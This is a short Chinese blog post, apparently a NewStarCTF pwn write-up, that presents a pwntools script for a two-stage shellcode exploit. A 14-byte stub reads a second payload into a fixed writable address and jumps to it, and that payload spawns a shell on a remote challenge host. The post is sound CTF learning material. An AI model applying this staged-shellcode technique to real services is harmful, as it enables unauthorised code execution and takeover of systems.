两次shellcode——newstarctf_input small function

L1rics 发布于 14 天前 43 次阅读


与直接利用shellcraft.sh()生成shellcode不同,这次第一次只能输入14字节,于是想到二次利用

因为没有开PIE,所以可写段就在0x114514那里

Exp

from pwn import *
context(arch="amd64",os="linux",log_level="debug")
#sh = process("./input_small_function")
sh = remote( "8.147.132.32", 29489)
#gdb.attach(sh)

sh.recvuntil(b"compile)\n")

shellcode1=asm(
    """
    mov esi, 0x00114514
    mov edx, 0x500
    syscall
    jmp rsi
    """
)

shellcode2=asm(shellcraft.sh())

sh.sendline(shellcode1)
sh.sendline(shellcode2)

sh.interactive()

注意点

  • 利用了x64 syscall 在rax为0是 read
  • 初步熟熟悉汇编
此作者没有提供个人介绍。
最后更新于 2025-10-23